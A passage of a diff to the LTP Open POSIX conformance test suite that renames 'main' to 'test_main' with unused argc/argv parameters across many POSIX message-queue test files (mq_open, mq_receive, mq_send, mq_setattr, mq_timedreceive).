MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-2.c index a74c94db..4812824c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-2.c @@ -40,7 +40,7 @@ static void handler(int signo) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-3.c index 75f55581..9079b9b1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/7-3.c @@ -25,7 +25,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t roqueue, roqueue2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-1.c index 3aee9f37..af47d408 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-1.c @@ -29,7 +29,7 @@ #define MSGSTR "0123456789" #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-2.c index d05603ce..e472b91f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/8-2.c @@ -40,7 +40,7 @@ static void handler(int signo) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-1.c index 4c6dfa28..3aa3f6c5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-1.c @@ -33,7 +33,7 @@ #define MSGSTR "0123456789" #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER], msgrcd2[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-2.c index fc69d09f..3c8de7ca 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/9-2.c @@ -40,7 +40,7 @@ static void handler(int signo) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-2.c index 8190b4de..e55e132f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-2.c @@ -22,7 +22,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-3.c index 3e30dd61..39936140 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/2-3.c @@ -22,7 +22,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/26-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/26-1.c index bb3608f3..2c714c02 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/26-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/26-1.c @@ -32,7 +32,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_OPEN_MAX printf("_POSIX_OPEN_MAX not defined as expected\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/6-1.c index 65e9c24a..d09173d0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_open/speculative/6-1.c @@ -26,7 +26,7 @@ #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; mqd_t queue; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/1-1.c index 7f80b1fd..2db7e09a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/1-1.c @@ -29,7 +29,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv1[BUFFER], msgrv2[BUFFER]; const char *msgptr1 = "test message 1"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/10-1.c index 581135b5..42823a66 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/10-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-1.c index f6ce7586..35266727 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-2.c index e9307d28..086d8f6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/11-2.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/12-1.c index 420ea1ab..edb635c4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/12-1.c @@ -29,7 +29,7 @@ #define NAMESIZE 50 #define BUFFER 20 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/13-1.c index d0e684ee..c35c6f05 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/13-1.c @@ -38,7 +38,7 @@ static void stopreceive(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/2-1.c index 68f70359..7a468004 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/2-1.c @@ -28,7 +28,7 @@ #define NAMESIZE 50 #define BUFFER 20 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/5-1.c index aa98276a..d842872b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/5-1.c @@ -37,7 +37,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message "; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/7-1.c index b8adb6d6..1c33f13e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/7-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/8-1.c index c2e62976..69cf0247 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_receive/8-1.c @@ -33,7 +33,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv1[BUFFER], msgrv2[BUFFER]; const char *msgptr1 = "test message1"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/1-1.c index 0eb4f9d3..df613163 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/1-1.c @@ -28,7 +28,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/10-1.c index fc79892d..d68203f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/10-1.c @@ -28,7 +28,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; char msgptr[MESSAGESIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-1.c index 1fc52a5d..73de8b48 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-1.c @@ -24,7 +24,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-2.c index 5289f9b7..116466aa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/11-2.c @@ -24,7 +24,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/12-1.c index 9a1dc1b3..c047287a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/12-1.c @@ -51,7 +51,7 @@ static void justreturn_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/13-1.c index c4eaa23e..f43b0d80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/13-1.c @@ -30,7 +30,7 @@ static unsigned invalidpri[NUMINVALID] = { MQ_PRIO_MAX, MQ_PRIO_MAX + 1, MQ_PRIO_MAX + 5 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/14-1.c index fdf9ff53..9d5d1def 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/14-1.c @@ -29,7 +29,7 @@ static long messagesize[NUMINVALID] = { 19, 2, 1 }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/2-1.c index c3e47820..0c17184f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/2-1.c @@ -23,7 +23,7 @@ #define MSGSTR "01234567890123456789" #define MSGSIZE 10 // < strlen(MSGSTR) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-1.c index 41837c55..243f0cc1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-1.c @@ -39,7 +39,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr1 = MSG1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-2.c index a78d8702..750015ff 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/3-2.c @@ -41,7 +41,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr1 = MSG1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-1.c index 082a5fda..60fee048 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-1.c @@ -23,7 +23,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-2.c index 150b7d42..26b297ff 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-2.c @@ -23,7 +23,7 @@ #define NAMESIZE 50 #define MSGSTR "0123456789" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-3.c index 2a497cf9..f69ac823 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/4-3.c @@ -29,7 +29,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c index 174e4f69..bbeaf59e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-1.c @@ -62,7 +62,7 @@ static int cleanup_for_exit(int gqueue, char *gqname, int ret) return ret; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; char msgrcd[BUFFER]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-2.c index 541558d7..402a44aa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/5-2.c @@ -49,7 +49,7 @@ static void justreturn_handler(int signo PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/7-1.c index 66b3791c..2a8145ba 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/7-1.c @@ -37,7 +37,7 @@ #define BUFFER 40 #define MAXMSG 10 // send should end after MAXMSG -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; char msgptr[MESSAGESIZE]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/8-1.c index de5ff01f..e5072d2b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/8-1.c @@ -28,7 +28,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/9-1.c index 40f78224..538badc4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_send/9-1.c @@ -30,7 +30,7 @@ #define BUFFER 40 #define MAXMSG 10 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char qname[NAMESIZE], msgrcd[BUFFER]; const char *msgptr = MSGSTR; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-1.c index 63e4aec6..e4def831 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define MQFLAGS O_NONBLOCK -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-2.c index 03ceb46c..1750c080 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/1-2.c @@ -31,7 +31,7 @@ #define NAMESIZE 50 #define MQCURMSGS 555 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/2-1.c index d7969936..953838e4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/2-1.c @@ -33,7 +33,7 @@ #define MQMSGSIZE 777 #define MQCURMSGS 555 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/5-1.c index f3723639..e123eba8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_setattr/5-1.c @@ -32,7 +32,7 @@ #define MQFLAGS 1 #define NAMESIZE 50 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE]; mqd_t mqdes; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/1-1.c index ee63bded..7007eacc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/1-1.c @@ -30,7 +30,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv1[BUFFER], msgrv2[BUFFER]; const char *msgptr1 = "test message 1"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-1.c index ff3e926c..21180595 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-1.c @@ -29,7 +29,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-2.c index a5b15d3a..5100af99 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/10-2.c @@ -33,7 +33,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv[BUFFER]; const char *msgptr = "test message"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/11-1.c index 5220f925..57d47174 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/11-1.c @@ -34,7 +34,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char mqname[NAMESIZE], msgrv1[BUFFER], msgrv2[BUFFER]; const char *msgptr1 = "test message1"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/13-1.c index d615e0c3..3f733be6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/mq_timedreceive/13-1.c @@ -31,7 +31,7 @@ #define NAMESIZE 50 #define BUFFER 40 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char 